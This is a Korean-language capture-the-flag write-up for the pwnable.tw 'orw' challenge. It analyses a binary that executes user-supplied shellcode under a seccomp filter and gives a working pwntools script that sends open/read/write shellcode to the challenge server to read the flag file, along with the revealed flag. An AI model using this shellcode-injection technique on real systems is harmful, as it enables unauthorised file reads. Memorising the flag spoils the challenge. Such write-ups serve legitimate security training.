문제
orw 바이너리의 checksec 결과는 다음과 같다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE
RWX: Has RWX segments
file 명령어의 결과는 다음과 같다.
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
orw 바이너리 코드
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:"); // prctl(38, 1, 0, 0, 0); prctl(22, 2, &v1);
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
HITCON-Training lab2 문제와 비슷하게 orw_seccomp() 내에서 prctl 함수를 이용하여 사용 가능한 syscall을 제한한다.
- execve는 execve 호출 없이는 수행 할 수 없는 권한을 부여하지 않는다. (HITCON-Training lab2 write-up에서 이 부분 관련 내용 조금 틀린듯…)
- 사용할 수 있는 syscall을 open, read, write로 제한한다.
exploit 방법
pwntools의 shellcraft를 이용해서 /home/orw/flag 파일을 open 하고 buffer에 read 한 뒤 화면에 write하는 어셈블리를 짠다.
풀이
#!/usr/bin/python
from pwn import *
#file_path="/home/sungyun/round3/orw/orw"
#p=process(file_path)
p=remote("chall.pwnable.tw", 10001)
p.recvuntil("shellcode:")
pay=pwnlib.shellcraft.open('/home/orw/flag')
pay+=pwnlib.shellcraft.read('eax','esp',0x100)
pay+=pwnlib.shellcraft.write(1,'esp',0x100)
exploit=asm(pay,arch='i386')
p.send(exploit)
print p.recvline()
flag : FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}